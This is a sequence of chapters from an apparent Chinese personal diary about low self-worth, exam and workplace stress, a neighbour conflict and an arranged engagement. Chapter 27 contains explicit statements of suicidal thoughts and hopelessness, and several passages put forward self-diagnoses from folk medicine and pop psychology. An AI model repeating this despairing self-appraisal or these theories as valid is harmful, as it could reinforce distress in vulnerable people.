    人家说我就是很棒很棒，那我就承认我很棒呗。然后好好学习，就这样子！我在很好很不好的时候，都感觉压力很大！因为我的内心没有什么自信，即便我达到了最好的那个位置，我仍然会感觉自己德不配位，哪怕我其实已经做的最好了，足够好了。我也搞不懂这到底怎么回事？
    据说这是一种心理防御模式！因为童年与父母相处产生的！有可能我还是个小宝宝的时候，很饿很饿，没有吃到足够的食物！口欲期没有满足，所以我的状态是一直学习但是总感觉自己学不好做不好！当然这是我看别人的视频想出来的，从别人那里学的，可能我并不是这种原因，只是我爱胡思乱想，对号入座！
    或者是因为我的身体不太好，肾精不足，所以我的内心里是非常的迷茫的，几乎什么都看不透，看不懂！当然这也是胡思乱想的，因为我从书上看的！所以还是对号入座！
    可能我的对号入座也是有问题的！因为我几乎看什么我都爱对号入座！好的，坏的，开心的不开心的！所以我的内心是无语的！
    我该对这样子的自己怎么办？感觉很像联觉症！这也是看的视频发现的！因为有的人是这样子，所以他们很成功，只有我是这样子！能够感受别人的痛苦，可是我又没有办法解决，感受到了又有毛线用啊！也许那些痛苦一直围着我身边，就是希望我能够相出办法让自己舒服！因此我需要学习很多很多的让自己感觉到快乐的知识！
    可是我该怎么学呢？这真的是很无奈的一件事！我想要学习，也许我需要再翻一翻羊皮卷！也许我需要再建立一个成功日记！
    不过我总是忘记，记录每一天我做好了做对了的某一些事情！也许我会把写在我的这本书里吧！
    晚安，加油吧！

 第21章

    今天学习了一个小姐姐的写作方法。然后我现在就忘记了！
    今天看到了很多事！有很多都感觉很无力！不去管闲事吧！怎么样都好！很多事情都感觉自己看不懂！想不通！想不通也就不想想那么多！把自己那点事搞好就好了！
    三人行，必有我师焉。择其善者而从之，其不善者而改之！我们在这个世界上看到的别人其实都是我们自己投射出来的景象！就像我看到一个人，他拿着刀！我心里充满着恐惧，那么我会认为我这个人拿刀是要做坏事或者会杀了我，这让我很难受很痛苦！如果我充满着安全感，那么我会认为他拿着刀是为了切菜或者削苹果而已！一件事情有很多很多的角度带来思考！所以很多事情我只是一个过客而已！
    很多事情也是想办法看淡吧！面对别人的讨厌，面对自己对自己的讨厌！看开点！尽自己的能力做到最好，然后一切都顺其自然吧！
    我的眼睛很痛，不舒服！那种感觉就像我几乎要炸了一样！很不舒服，可能是最近的橘子上市了，我吃太多了，真的好好吃！可是我上火了！
    好难受！
    如此美味的橘子，我竟然不能美美的吃一顿，好吧我这两天快吃两三斤的橘子了！确实吃的太多了！所以什么好东西都得节制，节制才会好！
    看了很多小黄文！以前特别的讨厌小黄文！因为脑子里黄色废料装多了，会让我感觉自己很不舒服！时不时还在内心谴责自己为什么要看这个，不看正经书，做个正经人，为什么要当lsp？然后并没有什么卵用，还是时不时的控制不住自己！
    最近看了一些文章，才知道原来人的动力有两种！一种是攻击力，一种是性吸引力！有了这两种力量人也就有动力生存下来！也就是说我看小黄文其实是在为自己的人生充能！让自己变得有力量生存！顿时感觉自己不那么丧了！
    也许我丧的原因就来自于此！我很难接受细节的攻击力！对朋友的对外人的对家人的！所以只能把攻击力释放在我自己的身上，所以我感觉我超级的容易心里很累！然后对待性吸引力，我几乎是断情绝爱灭绝师太一样，生活非常苦逼！
    我究竟在想什么呢？我向往什么呢？我想做什么呢？
    晚上黑天空里有一些云因为月光的帮助下显得很好看！而我也和云朵一样！千姿百态，因为我像点缀一般！天气好的时候，看起来像一样甜甜的软软的白白的！天气不好的时候像墨水一样，冷冰冰的也很美！所以我想像云朵一样千变万化！在任何一个空间里都可以恰到好处的美丽至极！
    我也许很贪心吧！
    但愿我可以坚持这个愿望！

 第22章

    最近发生了一点事情！
    我越来越感觉到邻居好像不太喜欢我！我也不知道邻居是不是本人，总之就是直觉！可是我不知道原因！最近这几天的一天晚上，邻居说楼上好多水下来，她那里的雨棚没有办法放水！而我洗的毛衣，怎么拧都有水！后来我把衣服全部都拧过了一遍，还是好多水流下来！把邻居的干衣服搞湿了！我在考虑以后要不要买洗衣机！可是房间比较小，特别是卫生间，所以买了也放不了！或者以后只能休息的时候洗毛衣，因为这样子我的衣服如果天晴的话可以晒到七楼去！或者加微信邻居的，等她把衣服收起来，然后我再洗衣服！不过我胆子小，第三种方法还是算了吧！钱也不多，第二种方法也就算了吧！认怂的话就可以选第二种！这样既不用花钱也不用人际交流！完美！
    这件事情告诉我，凡事要多想一点点！以前邻居也很生气的讲话，可是我完全没有意识到这是我的问题！因为洗完衣服我就休息去了，没怎么听到！也没有意识到她是楼下的，然后人家来敲门，我以为是哪个人恶作剧，晚上就没有开门！导致这种事情发生！真的是很无奈啊！特别是对我这种反应比较迟钝的人来说！
    今天教了一个小朋友写作文！他很开心的感谢了我！我并没有感觉到很开心！可能是我今天的心情不好！但是我还是伪装成很开心的样子回应了他！
    我对他的映像还好吧！写的字很好看，人看起来很乖巧！
    我其实并不想说很多赞美的话，也许是因为今天我的心情很不好吧！我认为他有点压抑了！这只是我的看法而已，我并不是局中人，也没有体会过他人的世界的情感，其实说评价并不好，可是我真的有那么一丢丢想法！我并不觉得他是开心的！也许是因为我也有过作文写不出的那个阶段！怎么写也写不出的那种想法！所以我感觉他并不快乐！感觉到他潜意识里在迎合着和维护着很多东西！当然我的感觉脑回路很奇特，这只是我的感觉而已，并不是说事实就是这样子！也许我看到的他其实就是我自己！我在压抑着什么！我的内心深处有很多的情绪是发不出来的，发出来了也许我会感觉到很轻松，可是造成的后果很严重！也许我在维护着什么，可是维护出来的结果并不是我所期待的！只能一直这样子下去！也许吧！其实我也不是很懂很明白我自己！
    今天在看迪加奥特曼！看了很久，也流了很久的眼泪！我怎么知道我为什么要流泪呢？我以前喜欢过迪加奥特曼吗？印象里好像没有感觉到！只是记得最后一集里他带给我一种感觉！有点暖也有很多很多悲伤的感觉！现在我再次去看这个电视剧，我好像感觉不到什么了！也许是因为日语，也许是因为年代久了，也许是因为我今天心情一般般！
    突然发现很多的电视剧看了我都有点脱节的感觉，大概是因为我并没有代入到这种电视剧的角色里吧！无法融情于景！所以很多情绪都无法宣泄出来！
    不知道最近想到了什么？突然情绪会变成这样子呢？这个世界里几乎没有人会感觉到幸福，对不对呢？
    也许正是因为并没有感觉到过，所以才一直期待着期待和盼望着这种感觉可以出现！嫉妒和讨厌着发生在别人身上的东西！也许吧！
    很多很多的想法很想掐断它们，因为它们都是黑色的！突然之间很嫉妒一个不太认识的人的美貌，突然之间很想涌起很多不好的想法！很想阻止，可是它们是我的，我在默默的观察着我自己的状态！可是我并没有感觉到开心！以前我在逃避我自己！然后我长大了，可是结果出现了我想要的情况，我也并不觉得开心！
    我很想知道我该怎么样去成长！如何面对自己的不良情绪！如何去面对自己的情绪？如何让自己在这种情绪里得到成长！如何让自己主导自己的想法！
    残酷的事情，或者很多无法阻止的想法一定会有某种原因它才会出现的吧！就像一个人失血过多！他感觉精神不济，只要找到原因对症治疗，他仍然有机会恢复的吧！
    我的想法是既然这个世界上我没有办法去得到自己想要的，那么我就没有愿望也可以啊！可以佛系一点，也可以选择痛苦不堪！无法接受就选择去经历就可以了！反正久而久之，会习惯的吧！
    我在这个世界上究竟想要什么呢？我也不知道！我只是想知道如果我过完这一生，也许六十岁死，我会不会在死的时候，感觉到开心呢？也许也感觉不到吧！也许感觉的到，因为回忆会给我的记忆进行加工，不管怎么样，都是美好的！也许我还是不明白什么？也许明白什么？
    我并不懂我自己呢！

 第23章

    不开心，然后对象来开导我，然后我在抱怨对象了！好像把自己的怒火有点转移到对象身上了！
    心情不好的时候还是不要选择说话吧！那样子根本解决不了问题，还让我又暗戳戳的情绪不好！
    真的是为什么嘛！为什么我的心情会这样子呢？如何在心情不好的情况下转危为安？怎么样才能学会和人相处呢？特别是和对象的时候！
    我该怎么样才能学会成长？我现在思考的是:宣泄情绪，可是需要学会我只是宣泄情绪没有指责！我只是在表达我的情绪很烂！毕竟今天又是星期天了，心情不好！这是我的规律！
    看什么都不爽！
    和世界无关，只和我自己有关！我该如何修复自己？我在想什么？或者我需要什么？也许是因为自我实现的需要很多，所以我特别的希望我能很多事情都做好，所以也就对自己很不满，为什么还没有做的很好呢？
    完美主义？强迫症，拖延症，焦虑症？扯淡！
    因为心情不好，或者感觉到了我的负能量，所以我会想一些让我感觉开心的事，一个人想着这些美好的回忆来逃避自己心情很烂的事情！所以我下次碰到这样子的情况仍然会心情不好！
    我需要把事情做的好一点！需要自己记住自己做过的事情！需要自己把事情处理好！需要及时的洗掉自己的衣服！需要好好宣泄自己的攻击力！不让它伤害我自己！
    总之很多事情，都需要我好好的处理！
    至于为什么今天心情爆表，还不是因为逃避让我自己更加的痛苦！
    最近看到了很多的文，他们写的很好，文笔让我好生羡慕啊，可是我有点失落因为我哦写的很烂！不生动，不美，没有给我自己以及他人传递价值！好像我读我的文章我的作品都是一件浪费生命的事情！这个认知让我感觉很不开心！所以最近没有写文！
    其实也有一些事情很想去分享出去的，可是我不知道为什么没有写出来！是因为感觉自己的这些微小事物微不足道，毫无意义？反正我什么都没有想，我只知道我心情一般，没有写！
    好想写的时候没有灵感，有灵感的时候怕写，怕写出来会很扯淡，不好看，别扭，生硬！怕看见满满的都是缺点的自己！
    我并不认为我是自信满满的人，可是我没有想到我会这么不自信！最近我怎么了！
    我计划每天做一百道题目！然后今天只做了六十，昨天二十！不开心！每次我做计划都是这样子，几乎都不能完成！不做计划几乎什么都想不到，做了计划又一定完不成！为什么我会这样子嘛？
    我到底怎么了？
    我突然之间发觉自己很喜欢学习，可是我并没有感觉到学习对我来说是快乐的，轻松的！有时我会认为学习好等于收获的爱会更多，所以拼命的想要获取很多很多的知识，可是这个世界的知识是无穷无尽的，学不完的，学不完意味着我有不懂得东西，不懂意味着我需要面对我的失落感，可是我还没有处理好我的失落感！我需要学会很好的面对它！我该怎么面对呢？
    我最近学会了一个知识！高调与低调的人的区别！区别就是高调的人不许自己失败，低调的人能够接受自己的失败！所以高调的人失败后会很想通过八卦别人的方式来提升自己的幸福感！
    学习了一个小知识还是很好的！

 第24章

    今天的心情一般般！
    今天我突然脑洞大开！可是我有点不敢写！我怕我会认为我是一个病人而不是正常人！可是人本来就有很多面！有好的也有坏的一面！有开心的那一面也有伤心的那一面！
    我很想写我不好的那一面！
    可是我又不敢写！
    我也不知道是怎么一回事！
    今天我和领导说我的想法！我感觉自己就像一个宝宝一样，呆呆的，然后又像一个机器人一样，等待着别人的控制！因为我感觉到了周围人的不开心，很想让她们开心，可是他们拥有很多的黑色的黏糊糊的负能量，所以我就像被控制了一样，不停地做很多的错误的事，希望他们的责备可以让他们减轻他们内心的负能量！可是领导说我不可能让所有人都开心！至少我就是不开心的！
    可是我下次我碰到这种情况怎么办呢？
    我又不是小孩子！每个人都有他的攻击性行为，可是我不能成为别人攻击性的工具！因为他是一个人，我也是一个人！大家都是第一次做人，凭什么我要让着你。凭什么我做你的工具人，只让你感觉到发泄情绪的爽！这对我来说不公平，可是我该怎么样才能让我自己感觉到公平呢？还有一些话语，让我听了很不爽！总感觉自己什么都没有做，可是却无形之中欺负了人一样！可是这又不是我的错！难道我待在这里就碍着你了，不爱看我就不要看！反正这样子的事让我感觉到很烦恼！
    我也不知道怎么回应！
    可是我想不到怎么回应，也有可能是我不想选择解决自己的问题，我在逃避问题，为什么逃避，也许我感觉这样子的问题很可怕，感觉对方就像一个魔鬼一样，让我感觉很不爽，可是我有很害怕它，可是我为什么会害怕那种让我感觉很不爽的感觉，忍着更让我不爽？舒服的快速的采取措施解决问题不是会更好一点吗？
    可是我感觉自己想不出解决问题的办法！为什么想不出解决问题的办法？因为不想去想，为什么不想去想解决问题的办法呢？潜意识里还在期待着什么？可是我究竟在期待着什么，而让你在面对问题的时候，只要碰到问题就很想逃跑就像感觉对方很麻烦很棘手的情况，对方就像一个蛮不讲理的野兽一样可怕！
    可是这样子妖魔化自己面对8的问题，实在是对我自己无语，因为事情其实很简单很简单，为什么很简单的事情会被我搞得很复杂很复杂呢？
    我究竟在想什么？
    把我情况如实的告诉了人家，没想到我认为很严重很严重的问题，在别人眼里居然是小菜一碟，一点也不紧张！我还以为我搞砸了心情忐忑了一天！有点意外！
    心情莫名其妙的好了起来！
    但愿好一点吧！
    今天遇到了一些难题，我听懂了！工作上的我懂了，学习上的我也懂了，很开心很开心！
    有的老师真的是很像巴啦啦小魔仙里的黑魔仙。时时刻刻散发着巴啦啦黑能量，他的心情复杂，其他人的心情也跟着复杂，今天居然破天荒的会体贴和关心别人，真的是活见鬼了！我大概是被虐的身心俱疲，已经有一点条件反射像惊弓之鸟一样天天被吓得半死。
    以后不久就要被换岗位了！工资会降，但是我还是感觉很开心！因为降下来了，我不用做那么多噩梦，然后吃麻麻香，可以好好休息，可以不用背那么多东西，我的天哪真的是很爽的一件事！
    不过还是要好好学习，调整心态！
    所以塞翁失马，焉知非福，虽然这件事对我来说可能是好的也可能是坏的，但是至少我现在心情是舒服的就行了！我的压力源终于得到了一点点的缓解！挺好的！我现在看着那些让我感觉非常糟心的东西，我也能很平静的接受它了！这样子挺好的！

 第25章

    现在的心情很乱！
    我也不知道为什么？
    也许是因为相亲吧！我究竟在烦些什么呢？
    妈妈不太同意我喜欢他，而我也不确定我是否是真的喜欢他！毕竟才认识了几天！
    我好像并没有喜欢的感觉！从前没有，以后也希望不会有吧！有感觉对我来说应该会比较累！
    我不知道我是不是因为考虑爷爷奶奶年纪很大了，他们很希望能够抱抱曾孙子，可是他们的孙子太小了，根本满足不了他们的人生愿望，所以寄托希望在我的身上！这对我来说也是有利的，可以早点生娃，可以早点嫁掉，也许没有感情，也许我将来无法应付很多的家务，很多繁琐的小事而郁郁寡欢，可是这毕竟是每个人都需要去经历的，过完这一生也就可以了！不期待什么！期待太累了！
    我的脑洞也许比较大，一见钟情，我是不太相信的，毕竟他长得丑，我也长得丑！也许我们是因为他爷爷施了魔法的缘故，所以我们彼此看对方并不是很讨厌！可是我在想这样的滤镜能维持多久呢？也许经历过了这一生就知道了吧！
    没有感情也许也挺好的，因为即使是小说里霸道总裁的故事也是需要花很多很多的钱，很多很多的精力，很多很多很扯淡的事情才能让男女主角在故事里得到圆满，而生活中的平凡人，真的也很难得到心灵的圆满！
    我想表达什么呢？我也不知道，我只知道这件事占据我的大脑很久了，干扰我的学习！我需要好好工作还有学习！感情的事情顺其自然吧！反正滤镜最后也会过期，在它过期之前，能够对过去不后悔就行了！
    该学习的东西学习，想做的事情好好做就这样子吧！
    我真的是越来越没有志气了，可是以我的处境，志气这玩意对我来说是一个累赘，有它在我心里让我很难受！就像我有很强大的愿望，可是我并没有实现它的能力，它就在我的身体里让我的心灵很痛苦，苦着苦着它也就不存在了！安安稳稳这件事对我来说都挺艰难的，要期待什么呢？
    什么也不用太过于期待！
    毕竟我从过去直到现在，年龄长大了，心灵却还没有成长过！书上说这是因为我从来没有当过小孩子，所以也就成为不了一个完善的大人，可是我的家是不可能让我成为一个完善的人的！那么也就这样子了！也许我是抱怨的，可是选择抱怨的那个时候我就输了！
    脑洞来的时候，会想究竟是过去形成了我的现在，还是现在的我形成了过去的我，为了成为现在的我，过去就长成了那个样子！可是想这个问题有什么意义呢？对我来说是一件很开心的事情吗？好像不是！现在的我又在准备走向哪一个未来呢？也许并不美好吧！可是我也需要好好的面对！
    以后要怎么去面对生活的问题，要怎么调整心态，要怎么做才能让对方开心，让自己开心！
    这是以后要学会的事情！
    以后要怎么样才能保持清醒，调节情绪！面对不良的情绪，面对低落的情绪，面对自己对未来另一半过高的期待，面对现实与理想的差距，这都是需要好好学习的！

 第26章

    不行啊！
    今天真的是有种火烧眉毛的事情就要发生了，可是自己却没有一点点紧迫感的感觉！
    烦躁，很想早起，定的五点的闹钟，闹醒的都是别人，自己完全不想起来，因为天好黑，不想起床，再闹，也很想拖一会儿！最近看书，看的我头昏脑涨的，我感觉那些内容很简单，可是考笔试的时候，就和见了鬼一样的记不起来，不知道为什么会这样子，很希望自己能够了解自己的状态！感觉就是自己的大脑能够理解，看得懂，但是在自己脑子里再一次加工成自己的记忆的时候有点问题，然后再把加工好的内容通过自己的嘴巴说出来这部分能力好像睡着了一样，表达不出来，说不出来，然后理解好的东西，学会的东西没有办法发挥出来！
    我感觉好神奇啊！我什么时候变成这个鬼样子了？搞得我现在只能一句话一句话的默背！真的是太难了！为什么会这样子嘛！
    真让我感觉伤心！明明内容很简单很好理解的！
    分析原因:第一点，可能是我比较晚睡，导致我的大脑心情不好，又早醒，所以它很不开心，它自闭了！
    第二点可能最近我的食物没有合理规划，不太均衡，我的大脑它长期营养不良，所以它实在没有那个精神力去学习那么多复杂的东西！它在节省能源，所以那部分可以使用的高级能力，它关闭，像是换上了省电节能模式的手机一样！
    第三点我比较懒，因为惰性从一点点养成的，然后就越来越懒，懒到最后我的脑子认为自己也可以懒一下，那种惰性就长到脑子里了！懒得想，也懒得学习！
    第四点胡思乱想比较多！生活里杂七杂八的事，我感觉自己对那些事情非常的感兴趣！可能我有一种表达欲望，或者爱与归属的需要，或者是自我实现的愿望，所以我在现实世界里比较郁郁不得志，或者我自己也不明白我想要什么，所以我想的比较多，可是这种乱七八糟的事特别特别的占据自己的大脑！通过这些事情告诉我自己现在的我自己也还行！可是心灵却已经腐烂掉了！所以我的大脑感觉很没劲！通过压抑的方式，拒绝这样子的我自己！
    我到底在写什么？我也不知道！
    事情不难啊！算了，还是说考试很难吧！不要再批评自己了，再批评下去也就这个样子！其实挺难的，特别的繁琐，很简单的事情换了另一个词语就很难说出来了！很难，对我来说难！
    今天听了老师说过去的事情！以前挺苦的！难以想象！希望我们的国家以后越来越好吧！不要去经历这样子的事了！
    最近看了境界的彼方！挺有意思的！这个动漫，很好看！人的负能量会长成妖梦，然后就变成了异界士去杀妖梦的故事！男女主角给我的感觉还不错，看完了我哭了！我不太搞得懂为什么要哭？不理解，也感受不到什么！可惜了，那么好的动漫，我却感受不到什么！喜欢未来也喜欢秋人！
    也许我需要看一下声之形再长一下我的情绪吧！
    今天工作完成的很好！顺利了！
    最担心的还是考试，可是我还是不知道为什么不太能记得住我要考的内容，那些内容很难记，为什么我会认为这些内容很难记呢？为什么我一看到这个就感觉很痛苦很难受呢？为什么我一看到一感觉到就不舒服呢？为什么我的思维逻辑不会联系起来呢？为什么呢？别人都有不用嘴巴说就可以想到下一步的事情，他们自己还可以一心二用，为什么我不可以呢？我也很想拥有这样子的能力！可以把我要学习的东西记住！
    我该怎么样去战胜我的惰性！懒惰该怎么应对？好想做一些事情，通过思考的方式，有目的的计划一件事情，有头有尾的完成！好想！然而我也只是想一想！对这样子的我自己有点遗憾吧！遗憾我不想选择动手让我自己开心一下！
    最大的哀伤莫过于心死！今天的我其实有点难过的！有也不知道我在感伤些什么，大概是我的选择又让我感觉到失望了吧！可是我还是会这样子选择！我为什么要这样子做呢？我也不知道？这就像是我生命里的程序一样，更改不了的！我总是在抱怨自己抱怨别人，我不去选择更好的解决办法！到了我能解决的时候，发现我自己下意识的习惯了抱怨！就算有能力了也习惯了改变不了事实！这也是我的悲哀吧！
    我就像还小的时候被绑上绳子的大象一样！长大了绳子已经不见了，可是我的心灵仍然在绑着！这对于我来说也是一件伤心的事！可是我到现在在心里也没有解开过这根绳子！我不知道怎么解开它，我希望我能解开它！
    我总是很羡慕别人，别人可以做自己喜欢的事，可以选择让自己开心的事，可是我有了能力了，却发现我对很多东西和很多事情都不感兴趣，没有喜欢的了！我在尽力的抓住自己一瞬间喜欢的东西喜欢的事情，可是好像我和我自己分解了一样，我在看着我自己无法融入我自己！喜欢和不喜欢并没有什么差别！一切都是那么没劲！真的让我很伤心的事呢！
    今天发生的好的事情！第一我看了一个人的短视频，让我对运气有了一些想法！他说生辰八字，不会偷去什么，不存在偷别人运气的事情，就算真的有一些事情会整人，其实也是需要花费很多的代价的！对自己和别人都不好！我的的想法是:原来如此！以前我一直都感觉自己好倒霉啊！因为我小时候剪了指甲给一户人家，那户人家是杀猪的，所以我老是很担心什么，总是梦见自己变成了一头猪被杀了！而且很担忧我的智商，因为还有一种说法就是剪了指甲给别人，他们会用指甲泡水喝，然后指甲的主人的智慧就会到另一个人的身体里！不知道为什么我对这个故事会深信不疑，那个时候听这个故事的我自己已经长大了，可是脑子还是缺了根筋！往后的日子里，就感觉自己的智商捉急，什么也记不住！不清楚怎么回事，也不清楚为什么会这样子！
    我又回忆起了那天给我讲这个故事的人，我忘记了她长什么样子了，反正大家在一起听她讲故事！那天的梦里，我梦见了黑色的一团东西，它好像有生命力一样，在跳着说什么！每次想起来都感觉它在笑着说:这个人有精神病！我不知道它是在笑我呢？还是在讲那个讲故事的人！每次想起来都感觉不可思议！
    也许我也有点毛病吧！太过于一根筋也是一个毛病！这真的是一件伤心的事呢？
    对于过去的我自己很多东西都没有释怀吗？没有释怀也是一件伤心的事呢！
    今天是星期天，伤心的一天！好好成长吧！

 第27章

    也许会结束吧！
    我其实内心并没有很好！我的情绪很糟糕，这种情况导致我的结果也并不是很好！
    其实最重要的原因在我这里！我一直都知道啊！可是我该怎么去解决呢？
    结婚嫁人生子！真的挺难的啊！我原来以为我只要我遵守像老师她们一样，把家也当做工作的地方，就像换一个地方上班一样，只是扮演的角色不同而已，在家里你的女儿，孩子，在工作里你是工作的人，在嫁人之后你是另一个家的角色，妻子老婆，妈妈，以及媳妇！其实都差不多吧！只是角色不同，就要做最合适这个角色的事情，家这个地方就能运转的很好了！
    可是挺难的！我感觉我没有力气一样！我突然没有动力学习，没有动力去努力了！我也不知道为什么我会这样子？这件事情就像一团雾蒙在了我的脑子里一样！搞得我很多时候都在像这个事，严重干扰了我的生活！
    这让我很不高兴！
    这让我认为我没有办法做到工作与生活的状态分离！因为我的工作能力一般般，这样子下去，已经很艰难了，还要在艰难的基础上加上一层艰难困苦，这让我很不高兴！
    对象给我的感觉，他给你的感觉，感觉我们在跨服聊天！而且让我感觉我很无聊，没劲！
    可能我单身久了，还想单身，不想再一次去接触别人！这样子的我感觉很有病！可是我无法拯救这样子的我自己。如果拖累别人给别人的未来添加麻烦也很累吧！
    我感觉我好像没有由心而发的动力一样的人！好可惜哦！就像心灵死去的人一样！
    然后爷爷奶奶妈妈他们说这让你自己选的时候！总给我一种他们的脸色非常的奇怪就像是被虫子吃掉了心灵一样的样子！周围全都是黑色的东西！让我感觉没有了情绪！
    我感觉不到他们开心的样子，只有一种疲惫的感觉！
    我感觉我的内心还是个小孩子，我很想努力去成为一个大人，可是我就像被施了魔法一样，心智没有成长，却又有很多很多的年纪了！
    这世界上无论做什么选择都会有后果的，都很重，需要很强大的力气，才能扛的起！可是我感觉我没有力气了！
    我在找我心里的力气！可是我没有找到！
    那天看着爸爸！很想对他说:真是对不起啊！如果我没有存在，没有投胎到他家的话，他应该不会那么倒霉吧！他应该可以幸福一些吧！
    很多的时候我都想结束自己的生命，我也不知道为什么？大概是失去了心灵的动力吧！就像我被我自己隔绝到了另一个世界一样！我总是从旁观者的角度看到别人五颜六色的光芒，可是我自己确是黑色的，没有任何情绪的一样！无法融入我的情绪里一样！也许我在逃跑，害怕去接触，害怕伤害！
    我知道我有很多的认知都是错误的，不开心的！在我的世界里我把学习当成了爱的唯一方式！对我来说也许爱就是可以一直学习一直学习进步下去！可是我现在不高兴了！因为学什么都很难记起来很难回忆起来，我的自己在和我自己打架一样！我无法驱动我自己的心智开心起来再一次学习了！
    这个原因有很多！也许在我心里认为我学会了很多东西很多事情仍然没有办法解决我内心深处迷茫至极的事情，这件事让我很难受，我内心里的动力就死掉了，不想动了！
    学会一个知识技能只要按照书本上教的东西一步一步严格来，就可以了，可是心灵里面的呢？我却还不会！我没有看到书籍里写了什么，鸡汤文根本看不懂，没有感同身受也就不理解这些事情，可是感同身受这回事很难，一件事可以发生很多很多的心理情绪，我没有那种强大至极的感觉能力，也没有办法在自己经历了痛苦之后发现很明亮的情绪能够把人从黑暗里带出来的能力！
    我想拥有这种能力！可是我累了！我感觉我无法拯救自己，也无法拯救他人一样！
    有一种无力感！
    我学习护理！原本以为我可以像一个医生一样把自己心里很重要的人治疗成一个正常人，他能够在这个世界里感受到快乐，感受到很美好的事情，能够让家里人开心，能够理解很多事情，可是学来学去我发现我也有病，我在做一个不可能的事情。根本没有办法去拯救什么？连自己都无力改变！
    我的黑暗就像魔鬼一样在伤害着很多很多！可是我没发现的时候会认为自己就像一个拯救者！发现了那个角度里的自己的时候，突然之间感觉自己很失败，无法接受黑暗里的自己，也无法走向有光亮的地方！我什么都不想动，不想往前走，不想成长，没有长大的话，可能不会认知到自己也是个可怕的人，很多事情很多话语都很伤人，很多情绪都像毒素一样，让我发挥着它们伤害人！隔绝情绪的时候，我并没有办法保持平静，反而有一种无力感！没有动力的感觉！
    我还好吗？我怎么样才能好起来呢？
    我怎么才能有动力呢？
    为什么我会以这样子的我存在呢？
    我到底想让我做什么？
    我很想明白我心里的情绪代表什么？
    今天看了《声之形》两个相互救赎的人，都成为了彼此的依靠！真好！可惜不开弹幕。我完全看不懂讲的什么！我对这样子的我自己感觉很无奈。我也很想去感受这种情绪的！
    为什么我的情绪就像封印了一样呢？
    我记得以前我也是这样子想的，然后我就有了情绪。然后就发生了很多让我感觉很痛苦的事情，然后我又没有了情绪！说到底还是我不管怎么去感觉，这个世界上很多的事情都能让我感受悲伤的事情呢？我认为我很悲哀呢？
    我很想拥有情绪，可以感受到很温暖的情绪，可以拥有面对生活的动力！
    这个世界实现了我很多的愿望，唯独我许了一个很难实现的心愿，我就已经绝望了！我对我自己感觉到绝望了！好可惜啊！
    我知道我的大脑在想很多很多事情让我脱离这种痛苦，很多天马行空的想象，很多对世界充满希望的奇怪而丰富的想象，很多可笑的，抽象的想象，用这种方式去解决问题，可是我很难接受这种结局与事实！
    也许以后我会慢慢接受吧！

 第28章

    最近相亲成功！如果不出意外的话，今年会结婚的吧！
    其实不算特别的期待，我感觉对方应该也不期待！可是没有办法吧！我已经快被家里烦死了！天天都是说希望我早点嫁掉的事！现在终于相亲成功了！又天天在烦！因为对象的家境一般，比较山，拿不出和大部分人相似的礼金。也买不起房子买不起车子！
    可是我感觉他还行！
    真烦！一个女孩子活着真烦！早些年，就有不少的女孩子丢掉！晚些年就是很糟糕的处境，活下去了，就希望能早点嫁掉！
    生活很苦谁都不容易，我知道家里也很苦，希望我能找一个家境比较好的，让自己过得好一点！可是我比较蠢，也没有什么高情商高智商，说话不咋的，做事不咋的，嫁给家境好一点的人家，我怕给人家家里添麻烦，万一把人家家里搞得一团糟，害怕死了后，遇见他们家长辈会指着我的鼻子骂！对，一想到这个，我就没有办法好好的！
    不想嫁太好的！
    而且我比较扣门！生活习惯很糟糕，学历比较低，非常懦弱的样子，人家家庭环境好一点的，可以选择更好的学历的人，也可以选择更好的家境的人。人家门当户对挺好的！我选择条件和我差不多的，也门当户对挺好的！这也没有什么错啊！
    房子没有可以选择租房子住，等以后攒钱了，买得起就买！买不起就这样子！总会有解决的办法的！
    喜欢可以培养！慢慢的潜移默化，十年二十年的作用下，谁知道喜欢和不喜欢有什么区别呢？富有的人才会去想我得到了你的身还要得到你的心，穷苦的人只希望能够生存就行了！在一起好好过日子。以后还会有房贷，车贷！如果买不起房子车子，还有小孩子上学的费用！总之，很多很多的问题需要去解决！没有那么多空闲的时间，去纠结这个纠结那个！条件好一点的，会想条件更好一点，日子其实都差不多！
    每个阶层有每个阶层的烦恼！你看人家日子过得顺顺利利的，人家也有人家的苦，人家看你过得很辛苦，你也有你的幸福！总之，闲的没事干，有缘分就争取，没有缘分就不要强求！
    然后我有一些心理障碍，一旦自己过得好一点，就特别的不自在，好像自己天生就很喜欢那种平平淡淡的环境一样，也许是因为我你不是一个高调的人也许是因为我不是一个特别自信的人，也许吧！所以我的内心里并不适应那种家庭环境很好，生活非常富有的人的生活！因为我的内心处境是这样子的！改不了的！
    这世界上哪有什么一帆风顺的事，没有的，不用去幻想太多了！都有很多的问题需要解决！大部分都是解决问题，然后再解决下一个问题！解决不了就很难受！
    在这个世界上活着就当是历情劫吧！情劫难逃！很多东西都要放弃，放下才舒服！放下执念！以前很执着一个人，那个人也只是和我的幻想差不多而已，那种执念让我很痛苦，很痛苦，却又不靠近！非常难受，我想如果喜欢一个人应该是鼓起勇气去和他在一起的吧！可是我并没有这种想法，那就不是喜欢的感情了，不是喜欢的感情为什么要去执着呢？我搞不懂我自己为什么？特别特别的想放下，因为我采取了措施，我表白过了，也我勇敢过了，确实对方也不喜欢我呢？那我为什么要执着于他呢？我不明白！反正我也不后悔，因为我勇敢过了就可以了！用自己的方式努力过了！
    嫁给一个平凡的人，也挺好的，其实什么都需要自己好好独立好好努力！没有人会是依靠，没有人可以成为你的安全感！不管是什么环境都是这个样子！没有未来的未来不是我想要的未来！可是我只是在选择生存方式而已！现在没有办法吃苦，以后得苦会更多的！生命的礼物从来都暗中标好了价格！要努力去争取！
    可是我的内心么有力量，没有争取的动力，我不明白为什么我会这样子？我很想和自己好好的沟通，好好的交流，希望我的内心没有负担的接受现实！
    我真的用心了，可是我的效果不好！也许我想要的太多，也许我有毛病，也需要哦自卑，也许我太过于不专心致志，总之我努力了，我很难受，得到了不太好的结果！
    可是我努力了！
    感情也是一门课程，可是我并没有看的很懂！
    我失败了！所以我选择接受现实里那个懦弱胆小无能自卑的自己！接受自己的不完美，接受对方的不完美，接受这些吧！
    也许人生处处是惊喜，也许人生就是这样子让人感觉到枯燥无聊乏味至极！谁知道呢？我也是第一次来到这里呢！

 第30章

    不知不觉，就发现自己已经长成自己讨厌的样子了。
    我讨厌什么来着?
    讨厌懒惰的自己，讨厌会变成欧巴桑的自己，其实我好像也并不知道欧巴桑是什么意思？不过我并不想去查这是什么意思？讨厌不管发生什么第一个怀疑别人做的不好，最后发现是自己做的不好的事。讨厌自己嘴巴上承认自己的错误，可是却死都不改的样子，内心满满的负能量和攻击性，可是有排泄不出来，那些能量就像毒素一样腐蚀心灵，而我没有选择拯救我自己还火上浇油。
